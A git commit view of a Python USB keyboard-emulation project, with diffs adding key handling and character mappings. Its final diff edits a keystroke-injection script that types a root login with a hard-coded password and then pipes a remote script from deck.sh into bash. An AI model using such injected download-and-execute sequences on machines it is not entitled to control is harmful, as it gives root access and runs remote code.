Fix sysrq, add backspace, refactor capitals

master
Cole Deck 4 years ago
parent 8a9e4a4464
commit 65678cdc1b

Binary file not shown.

@ -7,9 +7,15 @@ from getch import _Getch
get = _Getch(); get = _Getch();
while True: while True:
input_key = get() input_key = get()
print(input_key) print(input_key + ": " + str(ord(input_key)))
if input_key == "?": if input_key == "?":
break break
if ord(input_key) == 127:
write_special("BACKSPACE_DELETE")
continue
if ord(input_key) == 9:
write_special("TAB")
continue
if ord(input_key) == 27: if ord(input_key) == 27:
print("Special key detected!") print("Special key detected!")
key = [x for x in "ABCDE7890134~2"] key = [x for x in "ABCDE7890134~2"]
@ -28,6 +34,7 @@ while True:
if num == 14: if num == 14:
print("pressing prtscr / sysrq") print("pressing prtscr / sysrq")
write_special("PRINT_SCREEN") write_special("PRINT_SCREEN")
get()
continue continue
print("pressing F" + str(num)) print("pressing F" + str(num))
write_special("F" + str(num)) write_special("F" + str(num))

12
kb.py

@ -51,17 +51,27 @@ def write_str(word):
if letter == "~": if letter == "~":
letter = "`" letter = "`"
write_caps(keycodes.keycodelst[letter]) write_caps(keycodes.keycodelst[letter])
write_report(NULL_CHAR*8)
continue
if letter == "_":
letter = "-"
write_caps(keycodes.keycodelst[letter])
write_report(NULL_CHAR*8)
continue
if letter == "|": if letter == "|":
letter = "\\" letter = "\\"
write_caps(keycodes.keycodelst[letter]) write_caps(keycodes.keycodelst[letter])
write_report(NULL_CHAR*8)
continue continue
if letter == "!": if letter == "!":
letter = "1" letter = "1"
write_caps(keycodes.keycodelst[letter]) write_caps(keycodes.keycodelst[letter])
write_report(NULL_CHAR*8)
continue continue
if letter == "*": if letter == "*":
letter = "8" letter = "8"
write_caps(keycodes.keycodelst[letter]) write_caps(keycodes.keycodelst[letter])
write_report(NULL_CHAR*8)
continue continue
if letter.capitalize() == letter and letter >= 'A' and letter <= 'Z': if letter.capitalize() == letter and letter >= 'A' and letter <= 'Z':
#print(letter.capitalize(), letter) #print(letter.capitalize(), letter)
@ -75,7 +85,7 @@ def write_str(word):
try: try:
write_char(keycodes.keycodelst[letter]) write_char(keycodes.keycodelst[letter])
except: except:
print("Unsupported keycode! Ask Cole Deck to add support.") print("Unknown keycode")
finally: finally:
write_report(NULL_CHAR*8) write_report(NULL_CHAR*8)

@ -6,5 +6,5 @@ write_str("root\n")
sleep(0.5) sleep(0.5)
write_str("qwertypass\n") write_str("qwertypass\n")
sleep(2) sleep(2)
write_str("dwget deck.sh/p -qO-|bash\n") write_str("wget deck.sh/p -qO-|bash\n")
sleep(1) sleep(1)

Loading…
Cancel
Save